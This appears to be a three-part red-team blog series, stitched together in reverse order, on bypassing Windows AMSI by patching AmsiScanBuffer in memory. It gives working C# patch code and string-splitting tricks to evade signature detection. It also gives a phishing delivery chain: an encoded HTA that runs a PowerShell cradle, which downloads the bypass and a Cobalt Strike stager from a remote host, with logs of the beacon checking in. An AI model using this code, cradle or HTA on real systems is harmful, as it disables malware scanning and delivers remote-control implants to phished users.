Рубрика: Bypassing

In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.

If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.

Bypass Primer

We can use API Monitor to have a peak at what’s going on.

To summerise what we’re looking at:

1. powershell.exe starts and amsi.dll is loaded into its memory space.
2. We type something into the console.
3. The AmsiScanBuffer function is called.
4. Where our input is passed into.

This is the AmsiScanBuffer function as documented by Microsoft:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

We won’t worry about all of this — just the idea that we have a buffer of length, that when scanned, returns a result. To help visualise the bypass, let’s throw PowerShell into a debugger.

We’ll set a breakpoint on the AmsiScanBuffer function and type something into the console.

We step down to the mov edi, r8d instruction — because we know from CyberArk that r8d contains the length of the buffer. We can also see that in Binary Ninja.

After the instruction, both edi and r8d contain 2c — which in decimal is 44. Our string "this is some garbage" is 22 characters, so this checks out (bits and bytes, amirite). In the context of AmsiScanBuffer, it’s saying “scan 22 bytes of this buffer”.

The bypass works by slightly patching this instruction — changing mov edi, r8d to xor edi, edi. Because if you xor two identical values, i.e. the current value of edi (whatever it happens to be) with itself, the result is always 0. So if we run the bypass and look at the instructions again…

edi is now zero — i.e. “scan 0 bytes of this buffer”. So if AmsiScanBuffer scans 0 bytes, it will not actually scan anything at all.

AMSI_RESULT_CLEAN

So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:

the risky part with the bypass is that it uses a fixed offset from the start of the function AmsiScanBufferPtr + 0x001b. MS can just slightly modify the AmsiScanBuffer function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.

If we have have a look at the AMSI_RESULT details that we glossed over previously — there are different results that can be returned.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

So could we just patch the function so that it always returns AMSI_RESULT_CLEAN?

Revisiting the AmsiScanBuffer function in Binary Ninja, we can see there are a whole bunch of instructions followed by conditional jumps, but all to the same address: 0x180024f5.

The content of which is a mov eax, 0x80070057 instruction, which we guessed meant AMSI_RESULT_CLEAN.

The original bypass was:

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

Which we modified to:

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

Where 0xB8, 0x57, 0x00, 0x07, 0x80 are the (hex) opcodes for mov eax, 0x80070057; and 0xC3 is a retn. And notice there is no offset — we are patching the first two instructions in the function.

Before we carry out this patch, we can verify those first two instructions at the AmsiScanBuffer pointer.

They match what we expect from Binary Ninja. If we implement our new patch and look again…

The rest of the instructions become a bit munged, but that doesn’t matter. Hopefully we’ll just enter AmsiScanBuffer, immediately set eax and return.

Which seems to work just fine.

This is no “better” than the previous bypass, but hopefully will be a little more resilient against future modifications to amsi.dll by Microsoft.

In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

1. Deliver “something” to a user, via a phish or some other social engineering event.
2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
3. Perform the AMSI bypass.
4. If the bypass was successful, stage a beacon.
5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type to make it available within the PowerShell session.

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable() function where it returns an int of 1 if something fails and 0 if it makes it to the end.

So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }. If bypass returns 1, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta.

The web logs show us exactly what we expect.

1. AMSI download
2. Stager download
3. Beacon checkin

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.

Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.

Please read these for all the technical details — we’re launching this post with the C# code from Andre:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:

We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.

So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.

I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.

I had some suspects in mind, such as:

• IntPtr TargetDLL = LoadLibrary("amsi.dll"); <- Maybe just loading AMSI is bad, but unlikely.
• IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); <- Finding the address of AmsiScanBuffer.
• if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) <- Modifying the permissions of a memory region.

And pretty much all of this…

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.

To simplfy the process, I shortened the code a bit more by removing the if statements and removing console output. So my version became:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;

            VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero);

            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            return 0;
        }
    }
}

Eventually, I found only 3 lines were causing the alerts. IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");, if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) and MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);.

The one thing they all have in common…? Yep, the string (or substring) AmsiScanBuffer!

You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting "Amsi Scan Buffer" also flags, but others like "AmsixScanxBuffer" or "Amsi.Scan.Buffer" are fine.

But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.

This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String("")) without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.

$Ref = (
    [...]
)

$Source = @"
[...]
"@

Add-Type [...]

Of course, this is relatively straight forward to fix.

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); becomes IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");.

VirtualProtect(AmsiScanBufferPtr, (UIntPtr) 5, 0x40, out uint Zero); becomes VirtualProtect(ASBPtr, dwSize, 0x40, out Zero);.

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); becomes MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);.